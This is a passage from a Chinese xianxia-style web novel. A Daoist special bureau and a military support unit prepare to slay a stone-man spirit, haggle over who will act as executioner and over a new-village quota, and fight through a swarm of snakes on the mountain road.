一时间屋里陷入了沉寂,数个年轻人看着前头的老道长张了几次嘴,却欲言又止,有些话说出来没错,错的是说话人的位置。
“咳咳!”老道长轻咳两声,“来前,我与诸位道友已商量过,愿以此身报国!”
“我们先做个表率!”
“锁灵主阵法选用八卦阵,八卦阵最善守御,变化无穷,我与七位道友各自坐镇一方,定能阻拦残灵外逃,便是石人灵也要陷在阵中一时半刻!”
“道长高义,一出手便解决了难题,此次功成,当居头功。”
赵九州一脸诚挚,许下承诺,在场的都是道门中人,知晓老道长的这番举动的分量,没有人羡慕,这是对方应得的功绩。
“赵队,我组愿镇守外线,拦住山中猛兽,不准他们越过半步!”
一年轻人站起来坚定的说道,他叫李青瓷,是同批学员的成绩名列前茅,能力很过硬,敢打敢拼!
石人就在那里,跑不了,也不会跑。
赵青瓷说的外线是抵御山中猛兽的第一道防线,众所周知,天材地宝周围有异兽守护,像石人这种天地精怪,又怎没有护道凶兽?
古籍有记:天地精怪乃天地孕育而生,吞纳日精月华,飞禽走兽受其恩惠,褪凡启灵,会自发的拥护、守护天地精怪。
这次上山虽然没有看到护道凶兽,周围泥土、碎石上留下的印痕却是让众人肯定了这护道凶兽的存在。
“赵队,我组愿镇守外线!”
“还有我!”
“我!”
“俺也一样!”
“……”
在场众人纷纷附和,此次出来就是要做出成绩的,拿不动头功,那也要有所收获才行。
外线是第一道防线,直面凶兽,风险最大,但隐藏的收益也是最大的。
凶兽、灵兽不过是立场之称,与己方敌对者为凶兽,与己方友善者为灵兽。
这些开了智的飞禽走兽浑身是宝,捕抓驯化后,不仅能源源不断产出灵材,还通人性,懂人言,是居家旅行的好宠物、好帮手。
只有出不起价的买家,没有卖不出的灵兽,只要抓到灵兽,完全不需要考虑驯化问题,道门中人有的是方法和手段!
看到大家热情高涨,赵九州很开心,众志成城,民心可用,可一战矣!
“地形图大家也看过了,此次外线共布置两道防线,第一道布置在石人一百五十米外,第二道布置在石人一百米外!”
“第一道防线以捕抓为主,灵兽珍贵,有价无市,防守的小队需要在守住防线的基础上尽可能的捕抓灵兽,凡捕抓到的灵兽可留下一层收获。”
“第二道防线有轮换、歼敌之能,负责抓捕、击杀越过第一道防线的灵兽,同时做好和相邻小队轮换的准备,退下一人,你们就补上一人,退下一队,便补上一队!”
“你们谁守第一道防线?谁守第二道?”
赵九州嘴角含笑,目光扫过众人,两道防线各有利弊,很考验小队的能力,更考虑队长的魄力!
这是赢者通吃的防线,冲击防线的不全是凶兽,更多的是裹挟的兽群,例如狼群,凶兽的体魄更强、灵智更足,更容易成为头狼或者‘次头狼(军师)’般的存在。
这些有族群的凶兽往往一来就是来一群,想守住防线,还得看牙口硬不硬!
这个房间里能赢者通吃的只有一个队伍。
赵九州看向最角落的顾念海,对方抬起头礼貌微笑点头回应。
“海德星小队守正东方向第一道防线,兼顾东南、东北两处侧翼,能不能做到!”
“能!”顾念海铿锵有力的应道。
赵九州点点头,继续说道:“其余小队,一强一弱,两两组合,互相轮换!商量好了把名单报过来,抽签选方向!”
这次就来了二十来号人,去掉老道长十人,满打满算也就有六个小队,其中还包括他自己。
就在赵九州忙着开会,进行下一项工作安排时,另一边,山里也不是很平静!
山中白雾弥漫,像一层朦胧轻纱落到了林中,在夜色的笼罩下,数十道矫健身影穿梭在白雾里,荡起一圈涟漪!
碎石堆处!
此处的月华汇聚,如江水般从顶上的空洞淌下,没入石人中,没入沉睡的李大拐体内,也没入碎石堆上的一众飞禽走兽体内。
有鹰!有蛇!有狼!有猞猁!有熊!有野猪!……
这些平日里见面就打架的凶兽,不仅对沉睡的李大拐视而不见,还像个学生划分好了座次。
那头黑色公熊最是壮硕,它学着石人在那里盘膝打坐,光看背影就有一米八高。
黑熊对面,是一头体长两米的野猪,两根尖长的獠牙泛着寒光,也不知有多少猎物葬身口中?
这两就像是石人的左右护法,距离石人最近,也占据最凝聚的月华。
在石人面前,比一熊一猪更远点的是一条五米的黑鳞大蛇。
黑鳞大蛇盘踞在一起,身上的黑鳞宛若黑洞,接触到的月华尽数没入体内,不留半丝光华。
石人身后是猞猁,它坐立望天,周身的月华隐隐以它为中心形成漩涡。
在那碎石堆的最高处,站着一只老鹰,神俊异常,脚上利爪似能刺破金石,空中落下的月华中,竟有一股被它分去,它的周围最是空荡,没有任何凶兽比邻。
清风徐徐,带起丝丝缕缕的轻音,
虽不通其音,却明其意,聆听此音,与道相近,
好似仙人抚顶,结发授长生!
与熊听来,这是体魄之道,是蛮荒之路,蛮荒者,体强健也,力无穷兮!
与猪听来,这是守御之道,是大地之路,大地者,承御藏也,体无尽矣!
与蛇听来,这是吞噬之道,是成长之路,成长者,吞天噬地,得长生矣!
所悟皆有得,近道听道,明天地至理!
‘此番最后讲道七日,七日后,吾之劫起,尔等皆散去,此劫难渡,有道殇矣,再无此身!’
众兽猛的睁眼,有暴虐凶噬之相,竞相放出狂暴气势!
是谁!
是谁敢伤圣尊!
山林沉寂,鸟雀噤声,鼠蛙滞血,肝胆苟藏不敢颤!
‘无妨!此为吾之劫数,于七日天明前散去远走,可保性命!’
戾
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!吼!
鹰啼熊啸!
穿云贯石,旱地惊雷!
震死鸟雀一片,惊醒走兽无数,此夜注定不会宁静。
偏有一道月华如纱盖住了沉睡的李大拐,让他得以沉醉在香甜的梦境中。
‘七日之期已定,尔等若不离去,皆时劫难临身,后果自负!’
石人沉寂,轻风带起丝丝缕缕的道音,留下无能狂怒的众兽!
……
会议结束,一切事项皆已经安排妥当,各个队长自行散去。
赵九州房间,
“赵队,敢问谁是执刀人!”老道长问道。
这个问题很关键,要杀天地精怪其实就是灭杀其孕育的灵!
像石人这种的长不出腿,跑又跑不了,遇到劫数根本无处可逃!
石人的肉身归根结底只是一块石头,不论是老道长还是赵九州都没把石胎放在眼里过。
在这个末法时代,泥塑石胎可抗得住大炮、炸药?
君不见,过往千百庙,神佛法身十数万,皆倒在那段屈辱历史的长枪利炮中,在涛涛烈火中付之一炬。
罗汉、佛陀、上神都护不住自己的石胎法身,一尊石人又能如何?
当然,石人和神佛还是有差别的,至少拆庙毁像,神佛不一定会怪罪,甚至可能是支持!但毁掉石胎,石人灵是肯定会发疯!
斩草不除根,春风吹又生,留下石灵后患无穷。
“我已有人选。”赵九州说道。
“你做执刀人?”老道长皱眉看着他,能做是能做,但扛不住反噬,而且他们来这么多人是让赵九州做执刀人的吗?
八个、不九个人,倾尽所有还是能斩一尊石人的。
“不,不是我,”赵九州摇头,他分得清轻重,不是那种不知好歹的人。
执刀人首选是与石人关系最亲近的人,若石人已经恶堕,李大拐又还活着,那么他就是最佳人选。
其次那就是命硬的人,只有命格硬,命数才能化作劫刀,最好是命硬还要有大气运护身,这样才能在后续的一系列反噬中活下来。
“我已有人选,还是道长认识之人!”赵九州神秘一笑,起了玩心。
“不如道长和我各写一名字,看看你我所想?”
“好。”老道长也是性情中人,猜执刀人选,听着就有意思。
一张白纸被撕下两块,两人各分一块,执笔在纸上写上名字。
“我先来?”X2
赵九州和老道长相视一笑,异口同声道。
“一起吧!”
两块纸片翻开,出现两个相同的名字。
“了不得,了不得!”老道长惊叹道,“长江后浪推前浪,你这人人如其名,老道我老了,洗澡去了。”
道长拿去脸盆毛巾提着水桶大笑出门去,留下赵九州摇头轻笑,随手将两块纸片扫进垃圾桶。
纸块翻飞露出两字——燕迟。
燕迟,816所前所长,现休假待岗中,是前任所长领回来的接班人,在完成接班仪式后,老所长仙逝了。
燕迟担任所长至今已有七八年,任期期间遵循旧制,无为而治,未做出任何公绩,赏罚分明,御下有方。
相关资料在赵九州脑海闪过,他有过目不忘之能,所里近八年的灵异档案都看过,这八年里也发生过不少灵异事件。
但有趣的是,最后都有惊无险的解决了,被按灭在萌芽之中。
16. 战前准备
翌日清晨,众人用过早饭后,便着手为斩石灵做准备。
年轻的小伙子们从卡车上卸下钢筋笼架,在来之前都已经加工好了,只需简单拼装插上销钉就是笼子。
卸下了钢筋笼,众人从车上提下数个银灰色铁箱,这些箱子里装的都是冷兵器,都是上好的钢材锻造出的大刀。
人的精力有限,哪怕是有完整的传承也不能一口吃成胖子。
这批学员并非自小开始修行,属于定向规培生,成为学员时,他们的平均年龄不过十六岁。
他们很有天赋,却是输在了修行的时间太短,道法传承涉猎极广,道典无数,不是短时间就能学完的,只能删减部分侧重修行。
即便是如此,他们仍要学习常识篇、基础篇(基础符篆绘制与制作、健身健体篇、道法基础篇)、实践篇,上述部分所涉猎到的书籍,摞起来能有三米高。
道法的修行不是死记硬背,而是要求理解!只有理解了才能走通走顺。
所以即便他们个个都很有天赋,也没能挤出多少闲暇时间去磨练技艺。
冷兵器中掌握哪一种兵器不需要时间?
月棍、一年刀、十年剑、百年枪,……
冷兵器上手不易,想要快速形成战斗力、有杀伤性,学刀是学员们最好的选择,也是课程的要求。
燕国是一个禁枪(热武器)的国度,所以在这片大地上,会用刀、有一把削铁如泥的刀足以应对百分之九十的危险。
卸下刀箱和一些杂物后,车上便只剩装载着朱砂、符纸等材料的箱子,余下的七天里,他们要绘制出足够布置八卦阵的符篆、阵基。
另一边,
顾念海带着赵九州来到村子东南角的一栋二层砖房大门前。
砰!砰!砰!
吱呀!
敲了片刻,大门打开了。
“顾所早上好!”顾念海热情的打着招呼。
“顾念海你怎么来了?你是?”
燕迟点点头,算是回应了,毕竟大清早的被吵醒,没点情绪才是怪事,他看向顾念海身后跟着的年轻人,感觉有点眼熟。
“顾所您好,我是赵九州,那天您离开所里时,我们正好来报道!”
赵九州很有礼貌的应道,那天他们在大门前站着方队听着新所长训话,燕迟带着行李悄悄离开。
“你好!816所欢迎你们,不过你来的时候我已经不是所长了,也没当过你一天的领导,不用叫我顾所。”燕迟不冷不热的说道。
赵九州于他只是陌生人,那批学员来之前的几天,他刚被调岗,并在后续的几天中完成交接工作。
“顾所,您还没吃早饭吧,我们带来菜来,都是现做的,还热乎呢!”
眼看局面有些冷场,顾念海连忙出来打圆场,活跃气氛。
闻言,燕迟扭头认真看着顾念海,那双黑色眸子好似能刺穿他的眼睛,直达心底。
顾念海受不住这炽热的拷问,忍不住偏过头,从赵九州手里接过菜盒篮子(一种用竹条编织的用于装饭菜的篮子,内部有隔间,共两层,可连盘带菜一起装着)。
燕迟耸了下鼻子,闻出来那是黄老厨的手艺,这老头亲自动手煮的饭菜!
好久没吃到黄老厨的饭菜了,嘴里不由分泌些许津沫,他让开道路轻声道。
“先进来再聊吧!”
燕迟领着两人刚到客厅,一道白影跃上桌子、跳到椅子扑向门框,临近了在门框一蹬一翻,灵巧的停在他的肩膀上,宽大蓬松的尾巴顺着后背轻轻垂下。
“嘤~嘤~”
“来客人了!准备吃早饭!”
“嘤!“
白樱用脑袋轻蹭脸庞,很是乖巧!
“顾队,先吃饭吧,饭桌上聊,现在我已经不是顾所了,你们就叫我燕顾问吧!”
“额,好的,燕所,不,燕顾问!”
顾念海还想叫燕所的,但抬头对上那双凝视他的眸子,嘴上不由的改口了。
816所成员在外执行任务时,基本上都是以专家、顾问身份来介入任务。
燕迟收回目光,进到屋里收拾碗筷,给篮子腾出位置。
落在最后面的赵九州听到燕顾问时脚下微不可查的顿了瞬间,但很快就恢复正常。
“顾队,我给你搭把手!”
赵九州跟顾念海一起从菜篮中把菜拿出来,每道菜都是用干净的塑料袋装着放到盘子里,只需要拿出来解开袋子,翻套上盘子就是一道菜。
白樱在拿出菜时,就跳到自己的专属座位上,它坐在桌子边缘,蓬松柔软的大尾巴垂落,尾巴尖尖不时的跳两下有些开心。
特别是在赵九州把一盘大盘鸡放在它的门前后,高兴的咪上眼睛,尾巴像秋千般轻摆。
“燕顾,开饭了!”
拿出了饭,放好了菜,赵九州大声朝门外招呼一声。
咕噜噜~
噗~
“来了,来了!”
燕迟刷完牙,边用毛巾擦脸边说道,看到两个还站着便招呼道。
“你们先坐,我马上就来了。”
顾念海和赵九州本来就是上门求人办事的,哪里敢坐,乐呵呵的等着他过来。
“坐坐坐,我们便坐边聊!”
燕迟坐下先给小狐狸夹了块鸡腿放到它的碗里,两人看到燕迟坐下,这才跟着坐下。
饭桌上是最好谈事情的,正所谓吃人手短,拿人手软,美味的饭菜能拉近人与人之间的关系。
在顾念海牵线搭桥下,赵九州讲出了自己的述求。
“这不好办呐!顾队,你是知道熟知816所的规定的!”
816所规定:非本次任务执行小队成员,不得干扰、影响、插手任务小队事务,违反者重罚。
顾念海一怔,想了片刻,才想起是有这么一条规定。
当初这条规定是为了阻止当地门派、或是游方异人没有与任务小队通气,避免好心办坏事出台的条例。
后面因为单个小队不足以完美解决任务,缺乏人手,需要协助,所有有了另一条规定出现:任务小队需要人手协助,可通过协助申请令报备,通过申请后,所申请人员即视为小队成员。
协助申请令其实就是一张申请表,每张申请表可以申请一至五人帮忙协助,要盖所长大印才能生效。
众所周知,将在外君命有所不受,他们去的地方基本上是荒郊野外、偏僻乡下,经常断联,如果需要人手时再申请,那黄花菜都凉了。
所以,每一次任务小队离所前,手里都备着好几张申请令,上面盖好大印,等任务结束,再补上材料就行,现在房德的包里还有一叠申请令没用完!
但那时候的所长是燕迟!
想到这里,顾念海不由一惊,燕所离所之前已经完成交接工作了!
现在!
“赵队,确实是有这么一条规定!”顾念海对着赵九州苦笑道。
一朝天子一朝臣,明眼人都能看得出叶定方来势汹汹,一上任就加了不少的规定,有些规定虽是鸡毛蒜皮的小事,对于燕迟、执事来说可守可不守。
有些事情不上称,轻若鸿毛,可一旦上称,那便是千钧重,即便是说破了天,那鸡毛蒜皮的规定就是单位的规章制度,
在体制内,最看重的就是规章制度,不守规矩的人,同僚不喜欢,上面也不喜欢。
“燕顾问,事有轻重缓急,这申请令可以后面再补上。”赵九州抱着一丝侥幸劝道。
燕迟摇摇头回道:“这个还要看所长的意见,盖上大印的申请令才生效!”
闻言,赵九州脸上有些僵硬,这明摆着就是在为难人,虽然交接手续已经完成,但相关的点验工作还没结束,所长金印还在燕迟手中,只有新旧所长各自盖上代表自己身份的所长私印,再盖上所长金印才真正完成交接,至此权责两清。
名义上燕迟已经不是所长,可实际上金印还在他的手里。
赵九州深吸了一口气,说道:“燕顾问,您先吃,我这就联系叶所打申请。”
“好!我等赵队的好消息!”
没有理会匆匆离开的赵九州,燕迟又夹了根鸡腿给白樱,不经意的说道。
“顾队,你给我出了一道难题啊!”
顾念海窘迫的笑了笑,这次是他主动送上去给人当枪使了,这投名状可不好当。
“燕顾问,这事确实做得不厚道,我在这里给您道歉了,自罚三杯,还望多多海涵!”
酒桌事酒桌了,若能在酒桌上解决,能避免很多不必要的麻烦。
“一件事,一个人情,给你小队一个机会!”
看着顾念海接连三杯下了肚,燕迟平静的说道。
这……
顾念海内心计较着得失,片刻后,他抬起头来点头同意了。
“来,吃菜,吃菜!”
燕迟热情的招呼道,和聪明人说话就是方便,他们能看得更远,更准!
……
“……叶所,还请您批示!”
赵九州在门外拿着卫星电话汇报情况,包括但不限于燕迟和众村民的关系、山珍村的过往、以及他对燕迟的看法等等!
“我会考虑的,晚些时候再联系你!”
电话中传来一道温和男声,随即便挂断了。
远在816所的所长办公室中,叶定方倚靠着椅子,手指有节奏的点在原木桌子上,抬头看向对面墙上的燕国地图。
“有意思,你到底想要的是什么呢?”
桌子上有个拆开了的档案袋还有账本,记录的都是燕迟这八年来所做的事情,与宝库中所存取的天材地宝的记录。
档案袋很轻,轻得不可思议,上面记载的记录是燕迟这些年任上的所有外出记录。
第一年:拜访各执事所属门派及其所在地区的其他门派;亲临现场督查灵异事件进度X3。
第二年
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:亲临现场督查灵异事件进度X3。
第三年:亲临现场督查灵异事件进度X3。
……
这档案属实难评,如果不是所里有强制规定:所长每年要亲临现场督查灵异事件三次,那这份档案可能只有一页简历。
反观所里的任务小队,一年所执行的任务需要一个档案盒来装,甚至是好几个档案盒,二者一对比,就能看出来燕迟是多么的懈怠!
但巧合的是,每年燕迟亲临现场督查的灵异事件在当年的灵异评级中能达到前五!
巧合多了,就不再是巧合!
在叶定方眼中,燕迟藏得太深了,好似不食人间烟火!
这个人到底想要做什么?
嘟嘟嘟嘟~~
“九州,你把电话给他,我来和他谈!”
“好,你等一下!”
赵九州匆匆进门回到屋里,桌上的饭菜已经所剩无几,两人一狐都在安静的吃饭。
“燕顾问,叶所想和你通话!”
“给我吧!”
燕迟接过电话,顾念海自觉的站起来跟着赵九州朝门外走去,大佬之间的通话,他这小人物还是要躲远些。
“燕迟?”
“嗯!是我!”
“你想要什么?”
叶定方直接开门见山,他看不透燕迟,自然也猜不中对方心思,那这种直球开局才是最快打开局面的办法。
“我要山珍村有一个新村名额!”
燕迟直接说出了自己的述求,此间事了,这一片注定化作一方死地,山珍村注定会没落!
没被规划承认上档的土地属于国家,即便是有一群人到荒芜人烟的地区开荒种地、就近建房生活十几年,那这块土地也不是你的,所以当这些土地要被征收时也不会有任何补偿。
反之,有了新村名额就不一样了,相当于把未开垦过的荒山野地圈起来给到村子,村子再进行二次分配,即便是以后有什么征收土地的事情,可以名正言顺的获得补偿。
“你能做什么?”叶定房平淡问道。
“赵九州、那八名老道长、甚至是那批学员!”
燕迟嘴角含笑,说的每一个都点在关键上,在叶定方空降换帅的时候,他便看清了形势!
这刀!呵呵!
电话那头陷入沉默,唯有工作信号灯还在闪烁。
“若我不同意,你会如何!”
“顺其自然!”
听到燕迟平淡的声音,叶定方却一点也高兴不起来,这其中的分量太重,太重!
也许,能回来的只有三四人!
良久!电话里传来声音!
赵九州妥协了,顺其自然的代价太大了!
816所是特殊部门,不好在任务过程中量化功过,从来没有强制征兆的条例。
想要强制征召?脾气好的,混个时长,看你起高楼,看你宴宾客,看你楼塌了,挥一挥衣袖,不带走一片云彩。
脾气不好的,滥竽充数主打一个材料是公家的,手艺是自己的,手艺越练越精,一看废品率九成九;或是关键时刻失误,死道友不死贫道。
“你做执刀人,九州和老道长们不能出事!”
“新村名额定在县城附近十公里,所有土地面积不能少于山珍村!”
“不行!”叶定方直接拒绝,这要求太高了!这是要把吃下去的蛋糕重新吐一块完整的蛋糕出来。
“你做执刀人,九州不能出事,老道长们不能留下后遗症!”
“新村定在距离县城附近二十公里,一倍土地面积要和村子是一个整体!”
“你在消遣我?”叶定方的声音带着一丝怒意!
燕迟嘴角勾起,不屑道:“是你在消遣我!”
什么叫不能出事,大问题是事儿,小问题也叫事儿,后遗症亦是如此,全凭一张嘴。
“你做执刀人,九州和老道长不能死!”
“新村定在距离县城五十公里,三倍土地面积和村子是一个整体!”
“可以!”
“一言既出驷马难追!”
“君无戏言!”
“那便一言为定!”燕迟平淡的说道。
嘟~~~
电话挂断了!
“赵队,你的电话!”
……
816所所长办公室。
叶定方放下手中的卫星电话,从抽屉里取出一张空白简历表,开始书写!
姓名:燕迟。
出生年龄:一九八零年,月日不详。
年龄:24岁。
其余:略。
他一直写到了实力评价一栏:可做执刀人斩石人,但需要八名地师布置八卦阵封锁石人灵。
停笔,
片刻后,继续写到:上限不详,疑似可独自斩石人,附件一。
接着又抽来张白纸,记录刚刚两人的通话!
……
17. 进山,大蛇拦路!
六天的时间匆匆而过,很快来到了进山的日子。
村委广场!
赵九州站在搭起来的台阶上,对下方列阵的队伍开动员大会,队伍排成了两个方阵,一个是816所成员方阵,一个是穿着绿色篷布的支援方阵,一个连队共计70人,他们是昨晚上到的。
“兄弟们,你们这些天的努力我都看在眼里,今天!是骡子是马该拉出来溜溜了!”
“多的我就不说了,穿戴好装备,十分钟后进山!”
“解散!”
816所成员一哄而散,走到广场旁边背起自己的包裹!绿色篷布方阵则在指挥官的命令下,席地而坐,他们的装备就在脚边,一个大背包,一个箱子!
“周连,一会可能是一场硬仗,弟兄们多加小心!”
“嗯!请赵队长放心,我们已经做好了准备,全副武装!“
指挥官的声音铿锵有力,有一股坚定信念。
十分钟后。
“进山!”
燕迟和赵九州走在最前面,后面是816所成员的队伍,绿色篷布队伍走在最后。
816所成员个个穿着高雨靴,穿着双层内柔外硬篷布衣物,背着一个大背包,老道长们手中抓着一杆浮尘,其他队员手里则是一柄大刀。
绿色篷布队伍亦是高雨靴+硬篷布衣物,他们走成两列,左列背着背包,右列背着箱子。
刚出村子的范围不远,便看到白雾将山体笼罩,能见度很低,两米之外雌雄同体,五米之外人畜不分。
“看来这石人灵不欢迎我们呐!”
赵九州感叹一句,扭头朝着队伍喊道:“所有人提高警惕,跟紧队伍!”
都要打上门了,怎么可能欢迎!
燕迟手掌一翻,一张符篆出现在手中,随即往雾气中一丢。
符篆碰到雾气,竟然无火自燃,还没落地就已经烧成灰烬!
这是探路符,是学员们这几天画出来的符篆,遇到迷阵、鬼打墙之类的有警示作用。
“赵队前面是一座迷阵!”燕迟说道!
迷阵能混淆思维、方向的阵法,若没有防备,一旦陷阵,就不辨方位,迷失在阵法内!
眼前这座迷阵,范围大得惊人,浩浩荡荡笼罩了几个山头。
“所有人点醒神香!”赵九州喊道。
身后队伍中一年轻人从背包里取出一个密闭小桶!打开小桶,是一盘盘的黄褐色线香,他自己拿了一盘,就把小桶传给下一人。
在816所队伍尾巴的年轻人则是取出带钩子的铁盘,铁盘一面密封,一面有密密麻麻的透风小眼,倚靠榫卯扣咬合,内部是参差交错的圆棍小刺。
他把铁盘分发给身后的绿色篷布队伍,提醒道,
“点燃香装盘子里挂在腰上,不会迷路!”
绿色篷布队伍向一台秩序井然的机器,很快就完成了配发。
队伍继续前行,燕迟突然抬手示意队伍停下!
“怎么了?”
赵九州不解道,同时留心周围的环境,只觉得这位置有点熟悉。
“有人出来了!”
嗯?
似是为了回应他的话,不远处的雾气不自然的鼓荡起来,紧接着一个野人冲出雾气出现在二人面前。
嗯!
燕迟按住赵九州的手,试探的问道:“二狗哥?”
眼前这野人衣服滂臭,头发团成团凌乱的交织在一起,脸上、手脚衣服上挂着泥土,他的双眼赤红一片。
“迟哥儿~”
听到这带着哭腔的声音,赵九州也认出了这不正是七天前在石人那见到的李大拐,身上的衣服还是当天看到的那一套。
“迟哥儿~,俺、俺娘……”
“大人的事情,你就不要插手了,回家好好待着!听话!”
燕迟的声音有些缥缈,似远似近,如空似幻。
李大拐听后,沮丧的低下头,抹了把已经流干眼泪的眼睛。
“迟哥儿~,你们不要再往前走了,前面、前面有一条大蛇!”
“二狗子,回家吧!回到家好好睡一觉!”
“嗯~”
李大拐迷迷糊糊的应道,抬脚就走!
赵九州一个闪身躲到路边,一个手势,后面的人有样学样,左右闪开,让出了一条道路。
李大拐的背影在众人的目光中沉进了雾气中。
“你这是什么术法?醒神香都没效果!”赵九州好奇的问道。
燕迟幽幽叹气,回道:“他太累了,也叫不醒一个装睡的人!”
这样么?
赵九州将信将疑的点点头,跟上脚步继续往前走。
“前面的那条蛇你怎么看!”
听到声音,赵九州回过神来,看到了前面的那条黄暗绿色大蛇,它的前半部分带有黄色横斜纹斑。
好大一条王锦蛇!
眼前的蛇足有三米多长,手臂粗细,就那么懒洋洋的盘踞在路中央,看向众人吐着信子!
遇蛇拦路,前有不祥!
或有生死破财之危!
“让周连带着队伍过来开路,提醒他,前面危险,小心行动。”
这就是李大拐说的蛇吗?
走都走到这里了,返回是不可能返回的!
今日有吉时!
赵九州抬头看天,只看到朦胧的雾气,没有贸然打扰大蛇,而是招招手喊来一个亲信。
“这是你的劫,也是我们的劫,你送来一道警示,那我也送你一道警示,把路让开吧,这条路我们执意要走,你拦不住,也已经提醒过了。现在离去不再回头,于你于我们都好!”
大蛇闻言从盘踞的身子上下来,来回爬向路边,几乎把路拦腰横断。
这大蛇!
赵九州接过一把大刀,欲朝着大蛇走去。
“我来!硬仗还在后面!不要多生事端!”
燕迟提醒道,紧接着往前走出三步站立不动。
“多谢提醒,此路你拦不住也挡不了,还请离去,不再归来!”
大蛇径直爬向燕迟,他看到了却是不闪不避。
临近了,
大蛇以首尾相连的姿势绕了燕迟三圈,才一头扎进路边的草丛缓慢离去。
可惜了一条灵蛇!
队伍中有人暗自叹息!却殊不知自己才是最令人惋惜的。
“后面的路我不再出手,你来开道吧!”
燕迟回到队伍,对着赵九州说道,身旁的周连紧了紧手,内心有感今天这一次任务恐怕不容易。
“周连,让你的人打头阵,多加小心。”
周连点点头,他全程目睹了大蛇饶燕迟转了三圈。
“三三一组,交替前进,不用请示,遇到危险自行决断,任务要求:安全第一!”
“是!”X n
绿色篷布队伍众人齐声应和!
在周连的指挥下,绿篷小队分成三组,一组头、一组尾,还有一组护卫在左右两侧,整个队伍看起来橡根长长的夹心面条。
赵九州又往前走了几步,看着道路两旁熟
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悉的草丛,突然想起这不是那天一众赶山人被拦住的地方吗?
“报告!有蛇,有很多蛇朝我们爬过来!”
前头的雾气里传出一道惊慌失措的声音,紧接着一道长长的焰柱喷涌而出,烧得雾气翻腾不已。
“报告!路边草丛也有蛇!数量很多,有剧毒蛇!”
前面又是数道火焰喷射而出,点燃了路边的枯枝杂草,连带着草里的蛇一同翻滚。
嘀~
伴随一声哨音,周连的声音像个铜锣般传到队伍各个位置。
“所有人,拉开阵型,构筑有利阵地!”
没有开火的绿篷队友借来816所成员的大刀,朝着两侧着火的杂草砍去,其余人见状也有样学样,刀一砍,火一烧,群蛇扭秧歌!
队伍后面几乎没有蛇,这里是清理得最快的地方。
一转眼,816所成员挥着大刀在山坡上风口清理出一块篮球场大小荒地。
嘀~
“有序撤退,交叉掩护!”
周连的哨音再度传遍全场,命令一传十、十传百传达下去。
附近浓厚的雾气已经被烧灼一空,众人也已经看到了令人头皮发麻的一幕。
密密麻麻的各自蛇类爬在地上、草丛中、火焰上,你压我、我压你的纠缠着、交替着向着众人爬来。
哪怕是绿篷小队使用□□喷射出粘性汽油火焰,也不能拦住群蛇的步伐。
第一批沾染粘性汽油火焰的蛇已经被烧烂,身上还有未烧尽的火焰,后面的蛇游过残躯带着油焰继续前行,却又很快死在油焰中。
它们用身体开辟出了道路,更后方的蛇踩着残躯层层叠叠的继续前进,再之后,那些蛇尸淹没在蠕动的蛇潮之中。
“妈了个巴子的,那里来的这么多蛇,怕不是这一片的蛇都在这里了!”
房德骂骂咧咧的挥刀清理杂草,再把草堆挑起,远远抛向蛇潮!
“不好了!你们看蛇潮后面!”
有人惊呼的指着远处稀薄的雾气。
那里的雾气扰动厉害,偶尔显露出一个狗头!
火枪高射,火柱呈抛物线朝着远处坠落,沿途雾气被火一烧而空。
“靠!是狼群!”
周所大骂一声,着急的朝赵九州跑去。
嘀!嘀!嘀~嘀!嘀……嘀~
紧急后撤哨!
“赵队,这里位置太差了,我们要再退两百米!”
“好!”
赵九州点点头,他修行过兵书,看得清局势,这里杂草丛生,雾气浓重,根本当不住狼群突袭,阵型一破,蛇群再冲上来,这么多剧毒蛇足以把他们所有人留在这里。
一行人且战且退,很快就跑到了两百米开外的一处荒坡,这里视野开阔,地上的芒草仅及脚踝,喷火器燎过一遍就能烧得杂七杂八。
面对的敌人是野兽,倒也是个易守难攻的好地方。
“蛇群不追了!”
有人惊喜道,众人看向山路,路上的蛇群散开了,散进了两边的草丛中,还有部分往回走,让后面跟着的狼群不由地后退几步。
“一排休息,二排警戒!”
“是!”
周连坐到赵九州身旁,擦着满头大汗,刚刚又是烟熏又是火烤的,身上的衣服还是不透气的绿色篷布,热得他满头大汗。
“赵队,这不好办呐!这蛇忒多了些,刚刚已经烧了七八桶油了!”
“难办也要啃下来,今天是吉时,也是石人的劫数,不能退!”燕迟先一步出声道。
18. 推进,推进!
吉时,劫数!
赵九州心中默默揣摩这两个词,吉时很容易理解,正所谓运来天地皆同力,运去英雄不自由。
吉时便是如此,如果一件事情完成的难度是十,那在吉时去做的难度便只有一到三的难度。
劫数,到底是指什么?
去问燕迟?
赵九州心中根本没有这个念头,能说的自然会说,不能说的怎么问也问不清楚!
天机不可泄露!
都是一群老谜语人!嘴巴严实着呢!
“赵队?赵队?”周连问了两声都没回应,自觉的退下了。
“二排休息,一排警戒!”
突然,
赵九州想到一个可能!
自古以来都有仙人下凡历劫、功德圆满返回天界的神话传说。
历劫、历劫……
经历劫难,方得功德……
若是劫数指的是这个?那放在石人身上又如何?
“山上的石人九窍开了七窍半,灵窍开了一半,生窍未开。”
古籍有记:……石人灵窍开,其灵证阳神,栖身于天地,朝游北海暮苍梧……
“不能退!”赵九州低声呢喃,方回过神来,大声喊道:“周连,周连!”
“到!”
“今天一定要推上去,哪怕是天皇老子来了,也给我推平!”赵九州恶狠狠道。
“是!赵队,你也应该共享一下情报了,我要为弟兄们的生命负责,我们要面对的敌人是什么!”
周连的要求很合理,虽然执行的是秘密级的护卫任务,但他们都已经在任务中了,还不能知道任务相关情况?
是他带出来的兵,要为他们的生命负责。
赵九州沉吟片刻,最终还是决定告诉他们,他拿出一张用透明胶粘合的地图,指着一处说道。
“我们的目标是这里的一块特殊石头,这条是唯一的进山道路,路上可能会遇见蛇,狼,可能还有野猪,甚至是熊!”
听到有熊,周连不淡定的摸了摸背后所背着的枪袋,熊皮太厚,除非是命中要害,不然子弹可能会卡在骨骼上,让其凶性大发。
预感到会有硬仗,周练也发了狠!
“马勒个蛋蛋~,一排长,安排两个人回村里,让留守的小队把家伙事都带上,只留两人看家。”
“是!”
很快,两名背着喷火器背包,手上各拿着两个空油箱的战士沿着来时路向村里跑去。
半小时后,
“进山!”
众人很快来到之前构筑的阵地,空气中到处弥漫着汽油味夹杂着焦烂的烤肉香气,还有浓重的烟火味,味道很是难闻!
走在最前头的那批人,雨靴踩在蛇尸上,蛇头凭着本能扭动冲着雨靴咬下,流出星星点点的毒液。
还有没死透的蛇,不仅是蛇头,还有能活动的蛇躯会缠上雨靴,往往走三四步就要停下左右脚互相蹭蹭,然后踩死!
也就是众人穿着的高雨靴是加厚的,身上的衣物也是双层内柔外硬篷布衣物,才有勇气走进这蛇堆中。
“这火烧不远!”
赵九州留意到道路两旁的杂草丛,发现原先放的火烧不起来,仅烧出了二三十米火势就灭了,留下半死不活的杂草从。
难道是?
